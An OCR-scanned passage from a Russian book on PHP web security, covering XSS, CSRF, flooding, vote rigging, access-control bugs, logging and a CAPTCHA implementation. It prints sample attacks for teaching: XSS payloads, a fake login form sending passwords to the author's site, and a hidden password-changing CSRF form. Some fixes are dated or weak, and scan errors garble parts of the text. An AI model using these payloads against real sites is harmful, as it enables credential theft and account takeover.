вождающего книгу файлового архива) через браузер: http://localhost:8080/ 
chapter3/none-store-xss.php. 

Теперь введите какой-нибудь текст в поле поиска и нажмите кнопку Поиск. Стра
ница перегрузится, и вы должны увидеть введенную на форме строку. Эта же стро

ка будет прописана и в адресной строке браузера (в URL) в параметре ?search=. 

Отлично, теперь попробуйте ввести в поле ввода следующий JS-код и снова на
жмите кнопку поиска: 

<script>alert(l)</script> 

В результате на странице вы должны увидеть диалоговое окно просто с числом 1, 
что подтверждает, что введенный JS-код выполнился. И снова мы видим в строке 
URL код: 

http://loca1host:8080/chapter3/none-store-xss.php?search=%3Cscript%3Ealert(l) 
%3C/�:ript%3E 

Мы можем написать более вредный JS-код, сохранить URL и отправить его челове
ку, аккаунт которого мы хотим взломать или использовать для взлома. 

Такой тип XSS называется нехранимым, потому что зловредный код не хранится на 
сервере, а передается в качестве параметра URL. 

Хранимые XSS сохраняются на сервере, и жертвой может стать любой человек, ко
торый загрузит инфицированную страницу. Нехранимые XSS в основном исполь
зуются против конкретного человека. Хакеру нужно взять заранее подготовленный 
URL и направить его этому человеку. Да, можно опубликовать этот URL в Сети и 
ожидать, что кто-то кликнет по нему. Но чаще это все же направленная атака. 

Вариант с сохранением URL в социальных сетях некоторые относят к хранимым 
атакам только потому, что URL где-то хранится в Сети. Не знаю, сколько тех, кто 
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называет такую атаку хранимой, - у меня статистики нет. Но я считаю, что это все 
же разные вещи. 

Как хакер может использовать такой код для реального взлома? Ну, например, 
можно взять следующий НТМL-код: 

<form action="http://www.flenov.info"> 

<h2>Please login again</h2> 

<input type="password"/> 

<button>SuЬmit</button> 

</form> 

собрать его в одну строку и отправить через строку поиска - в результате мы уви
дим на странице поле для ввода пароля, которое мы инжектировали (рис. 3.2). 

0 localhost:8080(chapter3/none Х + 

f- ➔ С Ф localhost:8080/chapterЗ/none-store-xss.ph_P,?... l!J

Выискали:= 

Please login again 

\ Submit 1 

Рис, 3.2. Форма поиска и результат внедрения формы входа на сайт 

Если направить этот URL жертве и она загрузит сайт, то может не заподозрить 
ничего плохого из-за наличия формы входа. Жертва находится на привычном ему 
сайте, URL верный, все в порядке, но если ввести пароль, то он будет оmравлен на 

мой сайт http://www.flenov.info. 

Таким способом хакер может украсть чужой пароль и использовать полученный 
аккаунт для своих целей. Если это был банковский сайт, то получение хакером па
роля от аккаунта жертвы может привести для нее к фатальным последствиям. 

Это только один вектор атаки на сайт и данные. Когда впервь1е стало известно 

о ХSS-уязвимости, то мало кто отнесся к ней серьезно. Если честно, то и я вхожу 

в их число. Ну и что, что хакер может внедрить HTML? Это проблема посетителя, 
что он кликнул по URL, которому нельзя доверять. Но со временем XSS заставила 
себя уважать. 
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О примерах и различных способах эксплуатации XSS можно написать отдельную 
книгу, а здесь нам нужно было только разобрать хотя бы один пример, чтобы уви
деть проблему своими глазами и понять, как защищать РНР-код от этой уязви
мости. 

Зачем нужно знать, какие бывают ХSS-уязвимости? Дело в том, что это позволяет 
понять, откуда может исходить угроза - например, из параметров и данных, кото
рые мы получаем от пользователя. Проще всего атаковать через параметры, кото

рые передаются в URL, - GЕТ-запросы. Но это не значит, что хакер не сможет ата
ковать и через юsт-запросы. 

Нужно быть аккуратным при работе с сер верными параметрами из $ _ SERVER, пото
му что на некоторые из них посетитель также может повлиять. 

У гроза может исходить и из данных, которые приходят из базы данных, когда эти 
данные были получены в определенный момент от посетителя. 

Попросту говоря, любые данные, которые мы получили от посетителя и отобража
ем на странице, должны проверяться, и необходимо также использовать функцию 

htmlspecialchars для экранирования опасных символов. 

3.12. lлуд 

Большинство хакеров начинают свою карьеру с небольших шалостей, одной из ко
торых является флуд (flood). Что это такое? Допустим, что вы создаете форум или 
гостевую книгу, где любой посетитель сайта может оставить свое сообщение. Зло
умышленник может попытаться засыпать базу данных бессмысленными сообще
ниями. Кому-то покажется это смешным, но я вижу в этом только глупость и дет
скую шалость. (На самом деле, я про себя определяю это совсем другими словами, 
но такие слова не зря называются непечатными.) 

З .12 .1 . Защита от срлуда сообщенидми 

Одним из вариантов защиты от флуда будет запрет на отправку с одного и того же 
IР-адреса нескольких сообщений подряд. Для этого можно реализовать в сценарии 
следующую логику: 

1. После отправки посетителем сообщения адрес посетителя и текущее время
сохраняются на сервере в базе данных. Хранить адрес необходимо именно на
сервере, потому что все, что находится на компьютере-клиенте, без проблем
уничтожается за пять секунд, а то и быстрее. Чтобы определить адрес клиента,

можно использовать переменную окружения RЕМОТЕ _ ADDR:

$ _ SERVER [ "REMOTE _ ADDR"]

2. При принятии сообщения от посетителя необходимо удалить из базы все
IР-адреса, время хранения которых превышает определенное количество минут.
Чаще всего достаточно двух минут.
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3. Теперь проверяем, остался ли IР-адрес в базе данных. Если да, то не обрабаты
ваем полученное сообщение, а выдаем сообщение типа «Нельзя оставлять два
сообщения в течение двух минут».

Недостаток метода заключается в том, что он полезен только на малопосещаемых 
сайтах. Если сайт активно посещается и интересен хакеру, то он напишет програм
му, которая будет забрасывать ваш сценарий флудом через определенные проме
жутки времени. Второй недостаток - очень много посетителей скрыты за прокси
серверами, и все они видны в Сети под одним и тем же IР-адресом. Так, сотни по
сетителей одного провайдера покажутся такой защите одним посетителем. Если 
кто-то из них оставит сообщение и «засветится» в базе данных, то в течение време
ни защиты от флуда никто из других посетителей этого провайдера не сможет оста
вить сообщение. 

На мой взгляд, наилучший метод защиты от накрутки - использование теста 
САРТСНА. Об этом мы будем говорить в разд. 3.18.

З .12. 2. Защита от накрутки голосований 

Флуд может использоваться и для накруток голосования. Злоумышленник отдает 
свой голос за один и тот же вариант ответа несколько раз, сделав голосование не
объективным. 

Первое, что приходит в голову для защиты от такого флуда, - сохранить на диске 
посетителя файл cookie, в котором будет присутствовать параметр, указывающий 
на то, что посетитель уже проголосовал. 

Десять лет назад система голосования на www.download.com не имела абсолютно 
никакой защиты от флуда, и можно было воспользоваться простейшим способом 
быстрого клика: вы заходите на сайт, выбираете нужный вариант ответа и начинае
те быстро щелкать на кнопке Отправить. 

Допустим, вы используете простую телефонную линию. Тогда для отправки вашего 
ответа и получения подтверждения (т. е. сооkiе-файла) нужно время. Если в момент 
пересьmки/получения пакета повторно нажать кнопку Отправить, то предыдущая 
посьmка на клиентской стороне считается незавершенной и отменяется и начинает 
работать новый сеанс обмена данными. Когда на первую отправку .придет подтвер
ждение сервера и просьба изменить файл cookie, запрос будет отклонен из-за не
совпадения сеансов. 

Следовательно, если быстро щелкать на кнопке Отправить, то будут отправляться 
пакеты с вашими вариантами ответа, а сервер их обработает и добавит полученные 
голоса (т. е. выполнятся шаги 1 и 2). А вот ваш компьютер станет отклонять под
тверждения, и третий шаг будет пропускаться, пока не произойдет одно из сле
дующих событий: 

□ если вы прекратите быстро щелкать на кнопке отправки ответа, то браузер при
мет файл cookie, полученный в результате последнего щелчка, и сохранит его;
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□ если между щелчками на кнопке отправки сервер обработал запрос, а ваш ком
пьютер успел принять подтверждение, то файл будет создан и дальнейшие
щелчки станут невозможными.

На выделенных линиях с большой скоростью подключения обмен пакетами проис
ходит быстро, и можно не успеть щелкнуть в очередной раз, а значит, файл cookie 
будет создан. Чтобы оставить новое сообщение, придется удалить этот файл и 
только затем повторить попытку. Это отнимает слишком много времени, и такой 
накруткой мало кто занимается. А если на сервере еще и сохраняется IР-адрес про
голосовавших посетителей, то хакеры вообще не будут связываться с таким сайтом. 

Вариантов накрутки сценариев голосований много, и мы рассмотрели только 
один - самый простой. Вы можете познакомиться и с другими вариантами накрут
ки в моей книге «WеЬ-сервер глазами хакера» [3]. Наша же задача- найти эффек
тивный метод защиты от накрутки. 

Для защиты от двойного голосования мы опять же можем сохранять IР-адреса про
голосовавших в базе данных сервера. Эти адреса должны храниться, пока не сме
нится опрос. В этом случае с одного IР-адреса никогда нельзя будет проголосовать 
дважды. 

Однако это не значит, что кто-то из посетителей не сможет проголосовать дважды. 
Мы привязались к адресу, а не к посетителю. Хакер может подключиться через 
анонимный прокси-сервер и снова проголосовать, потому что ваш сценарий увидит 
IР-адрес прокси, а не хакера. Но много ли можно найти анонимных прокси? Я ду
маю, что нет, поэтому сильно повлиять на ход голосования не удастся. А если кто
то уже проголосовал через этот прокси, то и хакер не сможет с него проголосовать. 

Возиться с прокси-серверами хакеры не любят, потому что эффект минимален, а 
вот нормальному голосованию такая защита лишь мешает. В Интернете очень мно
го больших сетей, которые связаны с внешним миром через прокси- или NA Т-сер
веры. В этом случае все посетители видны из Интернета с одним и тем же 
IР-адресом, и это создает серьезные проблемы для защиты сценариев. Достаточно 
одному такому посетителю отдать свой голос, и все остальные уже этого сделать не 
смогут. Получается, что такую защиту нельзя назвать эффективной. 

Более удачным решением будет сохранение в базе данных IР-адреса только на оп
ределенное время, как и при защите от флуда. В этом случае все посетители смогут 
проголосовать - главное, чтобы они голосовали не одновременно. Впрочем, и ха
кер сможет через определенные промежутки времени оставлять свой голос. 

Большинство сайтов в последнее время стали разрешать голосование только заре
гистрированным пользователям. Это изначально ограничивает круг людей, которые 
могут выразить свое мнение, но зато создает более эффективную защиту от флуда. 
Ограничение круга людей происходит потому, что не каждый захочет регистриро
ваться ради того, чтобы оставить голос. Например, я ненавижу регистрироваться на 
сайтах и терпеть не могу форумы из-за того, что там нужно заполнять какие-то 
формы только для того, чтобы пообщаться или задать вопрос другим. И не остав
ляю свои сообщения в блогах, если для этого нужно зарегистрироваться. 
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На сайтах, где разрешено голосовать только зарегистрированным пользователям, 
хакеру, чтобы проголосовать, нужно зарегистрироваться, а если этот процесс по
требует действительного адреса e-mail (на который будет отправляться код актива
ции), то для того, чтобы отдать фальшивый голос, хакеру нужно будет выполнить 
следующие действия: 

1. Зарегистрировать почтовый ящик на любой бесплатной службе. Благо, таких
служб в Интернете достаточно, и это не составит особого труда.

2. Зарегистрироваться на сайте с указанием зарегистрированного ящика, куда
будет выслан код активации.

3. Активировать учетную запись и проголосовать.

Все эти шаги несложные, но отнимают очень много времени и сил, а хакеры лени
вы и не будут заниматься подобными вещами, зато добропорядочным пользовате
лям мы добавим лишних хлопот. 

Получается, что любому голосованию в Интернете нельзя доверять, потому что оно 
не может отражать действительность. Если реализовать жесткую защиту от флуда, 
то проголосуют далеко не все, а если защиту хоть немного смягчить, то хакеры су
меют ее обойти. Другое дело, с какими затратами будет связан обход. В нашем 
случае затраты измеряются временем и усилиями. Накрутка голосования - это не 
та область, где хакеры должны применять свои знания и умения. Хакерское сооб
щество такого взлома не одобрит, да и эффектного результата тут не будет. 

З. 1 З. Изменения срормы и атака CSRF 

У РНР есть очень интересная переменная окружения: нттР _ REFERER. В ней должен 
находиться путь к файлу, из которого бьm запущен сценарий. Давайте создадим 
файл env.php со следующим содержимым: 

<form action="env.php" method="get"> 
<Ь>Введите какой-нибудь текст</Ь> 
<Ьr>Текст: <input name="server"> 
<br><input type="suЬmit" value="OK"> 

</form> 

<?php 
print ($_SERVER[ 'HTTP_REFERER']); 

?> 

Здесь определены форма для ввода текста и передачи его сценарию и РНР-код, ко
торый выводит на веб-страницу содержимое переменной нттР _ REFERER. Загрузите 
этот сценарий в браузер. В результате на экране, помимо формы для ввода текста, 
может быть выведен путь к файлу, откуда был запущен сценарий, но при запуске 
он может быть и пустым. Теперь попробуйте ввести какой-нибудь текст в поле 
ввода и передать его серверу. Вот теперь переменная нттР _ REFERER точно должна 
отражать путь. В моем случае на веб-странице я увидел http:/1192.168.77.1/env.php, 
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где 192.168.77.1- это IР-адрес компьютера, где у меня установлен Linux с веб
сервером Apache + РНР. 

Теперь попробуем сохранить файл на своем жестком диске и исправим путь в поле 
action формы так, чтобы данные формы передавались веб-серверу: 

<form action="http://192.iб8.77.1/env.php" method="get"> 
<В>Введите какой-нибудь текст</В> 
<ВR>Текст: <input name="server"> 
<BR><input type="suЬmit" value="OK"> 

</form> 

<?php 
print ($ _ SERVER [ 'НТТР _ REFERER']); 

?> 

Хакеры очень часто сохраняют веб-страницы на своем диске для изучения и кор
ректировки параметров - например, параметров, передаваемых методом юsт. 

Загрузите этот файл со своего жесткого диска и попробуйте теперь передать пара
метр серверу. Так как в этом случае сценарий запускается не с сервера, то пере�ен
ная $ _ SERVER [ 'нттР _ REFERER' J будет содержать что угодно, но только не адрес сер
вера 192.168.77.1. Таким способом в сценарии можно сделать следующую защиту: 

if ( !ereg ( "лhttp: //192\. 168. 8\. 88", $_SERVER [ 'HTTP_REFERER'])) 
{ 

die ("Н е стоит так взламывать сайт"); 

?> 

Теперь сохранить страницу на локальном жестком диске будет сложнее. 

Эта защита слишком простая, но способна все же защитить от некоторых проблем. 
Допустим, что у вас есть форма, на которой пользователь может поменять пароль: 
www.profwebdev.com/account/changpwd.php. Когда пользователь просто обраща
ется к этому адресу ( GЕТ-запрос ), то сайт рисует форму для смены пароля. Если 
форма заполнена, то она отправляется обратно серверу на этот же URL, но уже 
юsт-методом. Сервер меняет пароль для текущего пользователя, и все вроде бы 
работает прекрасно. 

Но хакер может создать на своем сайте следующий файл: 

<form style="display:none" id="hackform" method="post" 
action="http://www.profwebdev.com/account/changepwd.php"> 

<input type="text" name="password" value="qwer1234" /> 
</form> 

<а href="#" onclick="$('#hackform') .suЬmit()">Кликни здесь</а> 

Здесь у нас имеется невидимая на странице форма ( об этом говорит стиль 

display:none) и ссылка. Когда посетитель щелкает на ссылке, то он методом юsт 
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отправляет форму на наш сайт. Вполне легально отправлять форму с одного сайта 

на другой, и она будет прекрасно обработана. И если посетитель, который зайдет на 
сайт хакера, одновременно будет авторизован на нашем сайте, то он изменит свой 

пароль на qwerl234, хотя сам об этом ничего подозревать не будет. 

Вы скажете, что пользователя ведь отправят на наш сайт, и он увидит, что его па

роль сменился. Возможно. Но если хакер поступит чуть умнее, он сможет спрятать 

этот запрос в скрытом iframe, и тогда пользователь ничего не увидит. 

Подобную атаку называют CSRF (Cross-site request forgery, Межсайтовая подделка 

запроса). Атака осуществляется против авторизованных пользователей сайтов. За

дача хакера заключается в том, чтобы сформировать такой запрос, который вьшол
нит необходимые операции на сайте. Смена пароля - это самое популярное дейст

вие, которое есть на большом количестве сайтов. За счет смены пароля хакер может 
украсть доступ к аккаунту. Но это не единственная операция - если это банков

ский сайт, то можно попробовать создать запрос, который будет переводить деньги 

с одного аккаунта на другой. 

Когда запрос приходит от другого сайта, то его можно отфильтровать просто про

веркой referrer. Это не самая идеальная защита от подобной атаки, она просто ми
нимально необходимая. 

Сейчас рекомендуют для каждой формы генерировать свой токен - уникальное 

значение, которое будет передаваться с формой обратно на сервер. Форма должна 

выглядеть примерно так: 

<form method="post" action="changepwd. php"> 
<input type=""hidden" name="token" value="TOКEH" /> 
<input type="text" name="password" value="" /> 

</form> 

Здесь у формы добавлен еще один параметр - невидимый. В качестве значения 

ТОКЕН нужно генерировать какую-то уникальную строку, которая будет присутство

вать в теле страницы и отправляться на сервер вместе с данными формы, это значе

ние также должно сохраняться на сервере (например, в сессии). Для каждого посе
тителя и для каждой формы эта строка должна генерироваться заново и быть уни

кальной. 

Когда форма приходит на сервер, и наш сценарий начинает ее обрабатывать, то мы 
проверяем, сохранялось ли для этого посетителя соответствующее значение. Если 

да, то форма в порядке, и это мы ее создавали. Если значение неверно, то это об
ман. Хакерский сайт при создании формы не может предугадать, какое значение 

будет в ТОКЕН, и подобная атака становится бесполезной. 

Еще один вариант защиты от СSRF-атаки - на каждый запрос ставить САРТСНА
проверку, но это сделает работу с сайта неудобной, и я не уверен, что много поль

зователей будут довольны тем, что нужно постоянно вводить какой-то код с кар

тинки или собирать картинки по содержимому. 
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3.14. Сопровождение журнала 

При разработке веб-приложения необходимо позаботиться и о создании журнала 

основных изменений. Да, у веб-сервера есть собственный журнал, в котором сохра
няется вся активность посетителей, но на крупных сайтах с большим количеством 
посетителей разобраться в таком журнале очень сложно, а иногда просто невоз

можно. К тому же он сохраняет далеко не всю полезную информацию. 

Есть и второй аргумент в пользу собственного журнала - не каждый хостинг мо

жет предоставлять доступ к журналам веб-сервера. Я, например, ни разу не видел 
такой возможности для пользователей бесплатного хостинга. Впрочем, я мало 

пользовался бесплатными хостингами. Я считаю, что лучше заплатить 100 долла

ров за год и получить качественное место для сайта. 

В разд. 5. 3 мы рассмотрим, как можно самостоятельно реализовать систему аутен
тификации посетителей. Наш сценарий будет проверять введенные посетителем 

имя и пароль, и если данные указаны верно, то он получит определенные права на 

выполнение каких-либо действий. Допустим, что хакер написал программу подбора 
пароля для вашего сценария и запустил ее. С помощью журнала веб-сервера уви

деть попытку подбора будет не так уж и просто, зато если в вашей базе данных 

имеется отдельная таблица, регистрирующая все удачные и неудачные попытки 

входа, то вся информация о попытках неверного входа окажется как на ладони. 

Системы аутентификации очень часто становятся объектами нападения со стороны 

хакеров, поэтому журнал поможет вам и в выявлении ошибок. Если в программе 
присутствует ошибка и хакер использовал атаку SQL Injection, например, указав 

в качестве пароля запрос, то этот запрос сохранится в вашем журнале. 

Я надеюсь, что смог убедить вас в создании собственного журнала регистрации 

основных действий пользователя. А что нужно отнести к основным, а что нет? 

Трудно сказать, но я бы порекомендовал регистрировать: 

□ события аутентификации- время запроса пользователя, результат проверки,
указанные имя и пароль, IР-адрес пользователя. При этом пароль должен сохра

няться в базе данных только в том случае, когда аутентификация прошла не
удачно. Действительные пароли сохранять нельзя;

□ изменение параметров аутентификации - время, IР-адрес клиента, старый и

новый пароли, а точнее, хеш пароля;

□ изменение основных параметров системы. Например, на форуме - это парамет-
ры форума, создание новых разделов и т. д.

Взломы происходят даже на больших сайтах, новые виды атак появляются регу
лярно, и от этого никуда не деться. Дело в том, что сценарии пишут люди, а им 
свойственно ошибаться, и если ошибку найдет хакер, то сервер будет в опасности, 
пока об этом не узнают программисты и не исправят ошибку. Журнал поможет вам 
быстро выявить нештатные ситуации и ликвидировать их. Будет хорошо, если 

журнал окажется максимально удобным. Например, журналы Apache очень мощ-
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ные, но далеки от идеала и не очень подходят для решения задач, встающих перед 
программистами. 

Из личного опыта: мне несколько раз помогали журналы авторизации. На каждом 
сделанном мною сайте я обязательно создаю таблицу со следующими полями: 

□ e-rnail;

□ ID пользователя - будет ненулевым, если пользователь найден при авториза
ции;

□ пароль - будет ненулевым, если авторизация прошла неудачно, но, несмотря на
то, что это неверный пароль, он зашифрован;

□ время;

□ дата.

Однажды один из сайтов, который я поддерживал, поддался атаке по словарю. 
Хакеры где-то взяли базу данных e-rnail и паролей и с помощью скрипта проверяли 
каждого пользователя из этой базы на моем сайте. По такой таблице мы быстро 
определили, что кто-то сканирует сайт, заблокировали IР-адреса, и мой клиент тут 
же принял решение реализовать двух.факторную авторизацию. До этого мне не уда
валось убедить этого клиента, что просто имени и пароля недостаточно, поскольку 
это небезопасно. 

Менеджмент и маркетинг хотят больше продаж и мечтают о том, чтобы сайты были 
простыми в использовании, но это не всегда безопасно. Двухуровневая аутентифи
кация добавляет лишних проблем пользователям и может повлиять на продажи, но 
испорченный имидж дороже. 

Собственные журналы нужно создавать для тех действий и событий, которые не 
сохраняются в журналах браузера или базы данных. Не пытайтесь написать замену 
тому, что уже есть, а дополняйте существующие стандартные решения. 

3.15. Защита от неправомерных изменений 
Неправомерное изменение информации на самом деле ничего общего не имеет 
с самим языком программирования. Такие ошибки я бы отнес больше к логиче
ским, когда программист неверно реализует логику кода. 

Я сейчас консультирую одну американскую команду по сайту, который они раз
рабатывают, и примерно месяц назад они обратились ко мне с запросом помочь 
разобраться с уязвимостью. Их сайт тестирует очень уважаемая компания в мире 
безопасности, и ее специалисты нашли серьезную уязвимость, когда хакер может 
обновить адрес доставки для товаров любого пользователя. 

Ошибка была в логике обновления адреса пользователя. Форма получала данные об 
адресе доставки и выглядела примерно следующим образом: 

<form action="" rnethod="post"> 

<input type="hidden" narne="addressid" value="<?= AddressID ?>" /> 

<input narne="addressl" value="<?= Addr�ssl ?>" /> 
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<input name="address2" value="<?= Address2 ?>" /> 

<input name="city" value="<?= City ?>" /> 

</foпn> 
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Все вроде бы хорошо, потому что мы даем пользователю возможность ввести но
вые данные адреса, и через скрытое поле передается уникальный идентификатор 

(ID) адреса из таблицы базы данных. 1D просто необходим, ведь у одного пользова
теля может оказаться несколько адресов доставки. У меня на сайте еВау два адреса: 

мой личный и адрес родителей, потому что я однажды отправлял им что-то (уже и 
не помню что). 

На сервере бьша запрограммирована следующая логика: 

SELECT * FROM Address WHERE AddressID = $_POST['addressid'] 

Эrо только запрос на поиск данных, сам РНР-код сейчас не имеет значения. Запрос 

находит нам адрес, а после этого с помощью РНР сохраняются новые данные и от

правляются обратно на сервер. 

Ошибка может быть незаметна неопытному программисту. Но она тут есть и очень 

серьезная. Мы не проверяем, принадлежит ли этот адрес текущему посетителю. 

Хакер может изменить форму и указать вместо своего AddressID любое другое чис
ло, ведь обычно в качестве ключа для подобных таблиц используются именно чис

ла, которые в базе данных идут последовательно. Изменив чужой адрес на свой, 

можно неожиданно получить на свой адрес какую-то приятную доставку от взло
манного магазина. 

Проблема решается достаточно просто. В сессии должен храниться 1D текущего 
посетителя, а любые запросы на поиск персональных данных или любые действия 

в коде над персональными данными должны проверять ID. Приведенный пример 

с запросом на поиск адреса тогда можно решить следующим образом: 

SELECT * 

FROM.Address 

WHERE AddressID = $_POST['addressid'] 

AND MemЬerID = ID Пользователя 

Теперь я ищу не только по 1D адреса, но и по 1D посетителя из сессии. Хакеры не 
смогут повлиять на значение из сессии, поэтому такой подход уже безопасен. Если 

хакер попытается изменить 1D адреса, наш запрос не сможет найти адрес, если он 
не принадлежит хакеру. 

Всегда при работе с данными убеждайтесь, что они принадлежат текущему посети

телю. Эrо можно реализовать с помощью ID текущего посетителя. Никогда не 
передавайте этот ID в форме. Он не должен быть спрятан на форме или в cookies 

и передаваться на сервер от посетителя. Не доверяйте никаким данным, которые 
приходят от браузера. 1D текущего посетителя должен быть в сессии. 
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З. 16. ТТ анель администратора 

Если вы создаете сайт с помощью какого-либо языка программирования, то не
лишним будет сделать обновление сайта через веб-интерфейс. Для этого чаще все
го пишутся сценарии администраторов/модераторов, в которых определенные по
сетители могут пополнять сайт информацией. Такие сценарии требуют отдельной 
защиты, и сейчас мы рассмотрим наиболее типичные ошибки программистов. 

Первая ошибка: нельзя код администрирования разбрасывать на сервере по разным 
каталогам. В этом случае контролировать сайт и его безопасность будет очень 
сложно. Весь код администрирования должен быть собран в сценариях одного и 
только одного каталога на сервере. Даже два каталога понизят безопасность и осла
бят контроль. 

Никогда не делайте ссьшки на сценарии администрирования на общедоступных 
страницах. Желательно, чтобы таких ссьшок вообще не было, и хакер не знал, где 
находятся сценарии, какие у них имена и какие параметры. Чем меньше знает 
хакер, тем лучше. 

Но даже несмотря на то, что посетители могут и не знать, где находится панель 
администрирования, к коду этой части сайта тоже нужно подходить со всей серьез
ностью. 

Если хакер каким-либо образом получит пароль администратора или модератора, 
то вы достаточно быстро сможете ограничить его действия простым переименова
нием каталога со сценариями администратора. В этом случае хакер не сможет ни
чего сделать, поскольку не будет знать, где находятся нужные ему файлы. Пере
именование позволит временно остановить хакера, и после этого можно произвести 
анализ в поисках уязвимости, которой воспользовался злоумышленник. 

Скрытый каталог панели администратора и быстрое переименование каталога со 
сценариями администратора - это всего лишь способ выиграть время, а не способ 
защиты. 

Раз уж мы затронули тему действий администратора во время взлома, хочется дать 
совет на основе личного опыта. Раньше я работал с бесплатными форумами phpBB 
и IPB (lnvision Power Board). Очень хорошие форумы. Я ничуть не хочу оскорбить 
или обидеть их авторов, но эти форумы популярны, и поэтому хакеры реrулярно 
находили в них различные ошибки. Когда ошибка оказывается критичной, все по
сетители таких форумов становятся уязвимыми. 

Если ваш форум взломали, и вы заметили неправомерные действия, то немедленно 
переименуйте форум. Пусть он окажется на какое-то время недоступным, но зато 
останется целым. Теперь обновите сценарии, чтобы исправить ошибки, и измените 
пароли администраторов. Только после этого можно восстановить имя каталога 
с форумом, чтобы посетители могли с ним работать. 

Так же необходимо поступать с любыми файлами сценариев, которые оказались 
причиной взлома. Чаще всего это бывают сценарии из панели администрирования, 
потому что здесь находится опасный для сервера код. Файл, ставший причиной 
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взлома, должен быть переименован или даже удален с сервера (если у вас есть ре
зервная копия на другом компьютере). Затем нужно исправить ошибку и восстано
вить файл. 

Вы обращали внимание, что во время взломов или сразу после них даже крупные 
сайты могут уйти офлайн для расследования и исправления проблем? 

Нежелательно помещать панель администратора в каталоги типа /admin или /cpanel.

Я предпочитаю, чтобы имя такого каталога было абсолютно неестественным и, 
следовательно, недоступным для подбора. Например, у меня путь к панели админи
стратора на сайте может выглядеть примерно так: http://Ыo.rnoe/zizibu/, где 
zizibu - абсолютно ничего не значит, а просто первое буквосочетание, что при
шло в голову. 

Тех, кто бросился проверять путь http://Ыo.rnoe/zizibu/, спешу разочаровать - это
го пути не существует. В реальности панель администратора находится в другом 
каталоге с не менее глупым именем. 

3.17. Опаснта переменнта $REQUEST_URI 

В разд. 2.12.1 мы рассматривали переменные окружения, и среди них была одна 
очень удобная переменная $REQUEST_URI. Не доверяйте этому параметру, потому что 
хакер может легко повлиять на него. Допустим, у вас есть следующий код формы: 

print("<fonn action= \"http ://".$SERVER_NAМE.$REQUEST_URI\" 
method=\"post\">"); 

// Здесь находятся элементы управления 

print("<input type=\"suЬmit\" value=\"SuЬmit\">"); 
print("</form>"); 

?> 

Эта форма передает введенные данные сценарию, адрес которого формируется из 
переменных $SERVER _ NАМЕ и $REQUEST _ URI. Если объединить содержимое этих двух 
переменных, то получится полный URL к текущему сценарию, т. е. сценарий на
правит данные сам себе, но при этом URL будет определен динамически. Очень 
удобное решение, но опасное. Допустим, что хакер введет в строке URL следую
щий адрес: 

http://yoursite/index.php?"><script>alert(docurnent.cookie)</script> 

В ответ на это браузер отобразит модальное окно, в котором будет показано содер
жимое файлов cookies. Да, хакер увидит свои сооkiеs-файлы, но чтобы украсть дан
ные другого пользователя, достаточно сделать так, чтобы жертва щелкнула на нуж
ной ссылке, и поставить немного другой JavaScript-кoд. 

Обязательно проверяйте переменную $REQUEST _ URI на недопустимые символы и 
вырезайте попытки обращения к < или >.
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3.18. САРТСНА 

Аббревиатура САРТСНА расшифровывается как Completely Automated PuЫic 
Turing test to. tel1 Computers and Humans Apart, что в переводе означает «полностью 
автоматизированный публичный тест Тьюринга для различия компьютеров и лю
дей». В России этот термин очень часто произносят так же, как он произносится и 

на английском - «ка�а». 

Уже из названия понятно, что это тест, который должен гарантировать, что опера

цию выполнял именно человек, а не компьютер. В Интернете такая проверка очень 
актуальна. Дело в том, что злоумышленник может написать программу, которая 
будет отправлять флуд или голосовать вместо человека, накручивая счетчики про
граммно. Хорошая проверка с помощью САРТСНА гарантирует, что операцию вы
полнял именно человек, а не компьютер, а значит, злоумышленнику придется при
лагать собственные усилия, чтобы ее пройти. 

Вам уже много раз встречался тест САРТСНА на разных сайтах в виде: 

□ картинок с цифрами и/или буквами, которые нужно ввести;

□ задачи (чаще математической), которую нужно решить, или вопроса,на который
нужно ответить.

То, что САРТСНА заставляет пользователя выполнять какие-то действия руками, 
является очень эффективным методом защиты от накрутки, флуда или спама. По
сле каждой попытки проголосовать, пользователю приходится в очередной раз вво

дить код или отвечать на вопрос, поэтому, чтобы отдать 1000 голосов за интере
сующий ответ, придется 1 ООО раз проходить тест САРТСНА. Если у вас на сайте 
нет регистрации, но есть голосование, то принимайте результат опроса только по
сле прохождения этого теста. Тогда результаты ваших опросов будут хоть немного 
ближе к правде. 

Я использую тест САРТСНА во всех благах, чтобы защищать от флуда страницы 
комментирования и формы обратной связи. Например, если злоумышленник захо
чет «замусорить» какую-то заметку в моем благе десятком неадекватных коммен
тариев, ему придется 1 О раз вводить числа при прохождении теста САРТСНА, 

а мне - всего лишь 10 раз щелкнуть мышью, чтобы удалить мусор. Затраты зло
умышленника несоизмеримы с моими, поэтому никто не занимается таким хули

ганством. 

В реальных проектах я рекомендую использовать Google Captcha. Поисковый ги
гант разработал достаточно хороший API, который вы можете использовать для 
того, чтобы обеспечить защиту своих сайтов. На сайте Google есть великолепная 
документация о том, как использовать их капчу, и отличные примеры кода. Я сам 
начал переводить некоторые свои сайты на их капчу. Однако очень часто я исполь
зую и свою реализацию, когда мне нужно что-то простое, но при этом хорошо ин
тегрующееся в дизайн моих страниц. 

Поскольку эта книга посвящена программированию, я предлагаю написать собст
венную реализацию теста САРТСНА. Итак, в качестве примера реализуем защиту 
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цифрами, нарисованными на картинке, и добавим на нее «шум». Для этого в РНР 
мы можем программно создать картинку и нарисовать на ней цифры (или буквы, 

или слова) и «шум». 

Какой «шум» выбрать? 

□ Можно покрыть цифры и фон точками, только вот точек для создания полно
ценного «шума» понадобится очень много. В таком случае придется применить
цикл, что является ресурсоемким действием.

□ Для создания «шума» можно использовать какой-нибудь графический алго
ритм - примерно такой, как фильтр из _Adobe Photoshop для превращения кар
тинки в «шум».

□ Можно заранее подготовить картинку с «шумом» и рисовать секретный код на
ее поверхности. Чтобы это дало хороший результат, желательно, чтобы «шум» и
фон на подготовленной картинке бьmи в тех же тонах, что и сам код, который
мы будем рисовать. В этом случае все будет сливаться, и распознать образы
программно окажется проблематично. Но из-за того, что картинка фона статич
на, вполне реально написать сценарий, который программно будет очищать изо
бражение от «шума».

□ Можно нарисовать несколько линий поверх секретного кода. Достаточно пяти
линий, чтобы изображение получилось зашумленным, но эффективность этого
метода также далека от идеала. Злоумышленник может написать сценарий,
который будет распознавать линии на изображении и удалять их.

Чтобы взломщики начали писать программу по распознаванию секретного кода 
САРТСНА для вашего сайта, он должен быть очень популярным. Мы будем при
держиваться принципа разумной достаточности и реализуем этот код на основании 
описанных только что методов. А именно - создадим изображение, нарисуем на 
нем секретный код и наложим на него «шум» с помощью линий. 

Итак, создадим файл protect.php и запишем в него содержимое листинга 3.3. 

<? 

session_start(); 

header("Content-type: image/png"); 

$irng = irnagecreatetruecolor(lЗ0,24) or die('Cannot create irnage'); 
